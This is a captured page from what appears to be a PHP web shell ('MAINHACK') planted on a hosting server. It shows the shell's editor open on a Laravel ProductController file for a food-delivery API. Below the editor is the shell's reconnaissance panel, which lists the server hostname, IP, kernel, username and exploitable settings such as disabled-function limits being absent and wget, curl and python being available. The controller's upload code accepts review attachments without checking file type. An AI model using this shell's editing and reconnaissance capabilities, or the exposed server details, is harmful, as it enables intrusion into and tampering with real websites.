[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ProductController.php
<?php namespace App\Http\Controllers\Api\V1; use App\CentralLogics\Helpers; use App\CentralLogics\ProductLogic; use App\CentralLogics\RestaurantLogic; use App\Http\Controllers\Controller; use App\Models\Food; use App\Models\Restaurant; use App\Models\Review; use Illuminate\Http\Request; use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Validator; class ProductController extends Controller { public function get_latest_products(Request $request) { $validator = Validator::make($request->all(), [ 'restaurant_id' => 'required', ]); if ($validator->fails()) { return response()->json(['errors' => Helpers::error_processor($validator)], 403); } $products = ProductLogic::get_latest_products($request['limit'], $request['offset'], $request['restaurant_id']); $products['products'] = Helpers::product_data_formatting($products['products'], true); return response()->json($products, 200); } public function get_searched_products(Request $request) { if (!$request->hasHeader('zoneId')) { $errors = []; array_push($errors, ['code' => 'zoneId', 'message' => 'Zone id is required!']); return response()->json([ 'errors' => $errors ], 403); } $validator = Validator::make($request->all(), [ 'name' => 'required' ]); if ($validator->fails()) { return response()->json(['errors' => Helpers::error_processor($validator)], 403); } $zone_id= $request->header('zoneId'); $key = explode(' ', $request['name']); $limit = $request['limit']??10; $offset = $request['offset']??1; $products = Food::active() ->with(['rating']) ->whereHas('restaurant', function($q)use($zone_id){ $q->where('zone_id', $zone_id); }) ->when($request->category_id, function($query)use($request){ $query->whereHas('category',function($q)use($request){ return $q->whereId($request->category_id)->orWhere('parent_id', $request->category_id); }); }) ->when($request->restaurant_id, function($query) use($request){ return $query->where('restaurant_id', $request->restaurant_id); }) ->where(function ($q) use ($key) { foreach ($key as $value) { $q->orWhere('name', 'like', "%{$value}%"); } }) ->paginate($limit, ['*'], 'page', $offset); $data = [ 'total_size' => $products->total(), 'limit' => $limit, 'offset' => $offset, 'products' => $products->items() ]; $data['products'] = Helpers::product_data_formatting($data['products'], true); return response()->json($data, 200); } public function get_popular_products(Request $request) { if (!$request->hasHeader('zoneId')) { $errors = []; array_push($errors, ['code' => 'zoneId', 'message' => 'Zone id is required!']); return response()->json([ 'errors' => $errors ], 403); } $zone_id= $request->header('zoneId'); $products = ProductLogic::popular_products($zone_id, $request['limit'], $request['offset']); $products['products'] = Helpers::product_data_formatting($products['products'], true); return response()->json($products, 200); } public function get_product($id) { try { $product = ProductLogic::get_product($id); $product = Helpers::product_data_formatting($product, false); return response()->json($product, 200); } catch (\Exception $e) { return response()->json([ 'errors' => ['code' => 'product-001', 'message' => trans('messages.not_found')] ], 404); } } public function get_related_products($id) { if (Food::find($id)) { $products = ProductLogic::get_related_products($id); $products = Helpers::product_data_formatting($products, true); return response()->json($products, 200); } return response()->json([ 'errors' => ['code' => 'product-001', 'message' => trans('messages.not_found')] ], 404); } public function get_set_menus() { try { $products = Helpers::product_data_formatting(Food::active()->with(['rating'])->where(['set_menu' => 1, 'status' => 1])->get(), true); return response()->json($products, 200); } catch (\Exception $e) { return response()->json([ 'errors' => ['code' => 'product-001', 'message' => 'Set menu not found!'] ], 404); } } public function get_product_reviews($food_id) { $reviews = Review::with(['customer'])->where(['food_id' => $food_id])->get(); $storage = []; foreach ($reviews as $item) { $item['attachment'] = json_decode($item['attachment']); array_push($storage, $item); } return response()->json($storage, 200); } public function get_product_rating($id) { try { $product = Food::find($id); $overallRating = ProductLogic::get_overall_rating($product->reviews); return response()->json(floatval($overallRating[0]), 200); } catch (\Exception $e) { return response()->json(['errors' => $e], 403); } } public function submit_product_review(Request $request) { $validator = Validator::make($request->all(), [ 'food_id' => 'required', 'order_id' => 'required', 'comment' => 'required', 'rating' => 'required|numeric|max:5', ]); $product = Food::find($request->food_id); if (isset($product) == false) { $validator->errors()->add('food_id', trans('messages.food_not_found')); } $multi_review = Review::where(['food_id' => $request->food_id, 'user_id' => $request->user()->id, 'order_id'=>$request->order_id])->first(); if (isset($multi_review)) { return response()->json([ 'errors' => [ ['code'=>'review','message'=> trans('messages.already_submitted')] ] ], 403); } else { $review = new Review; } if ($validator->errors()->count() > 0) { return response()->json(['errors' => Helpers::error_processor($validator)], 403); } $image_array = []; if (!empty($request->file('attachment'))) { foreach ($request->file('attachment') as $image) { if ($image != null) { if (!Storage::disk('public')->exists('review')) { Storage::disk('public')->makeDirectory('review'); } array_push($image_array, Storage::disk('public')->put('review', $image)); } } } $review->user_id = $request->user()->id; $review->food_id = $request->food_id; $review->order_id = $request->order_id; $review->comment = $request->comment; $review->rating = $request->rating; $review->attachment = json_encode($image_array); $review->save(); if($product->restaurant) { $restaurant_rating = RestaurantLogic::update_restaurant_rating($product->restaurant->rating, $request->rating); $product->restaurant->rating = $restaurant_rating; $product->restaurant->save(); } return response()->json(['message' => 'successfully review submitted!'], 200); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.09 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624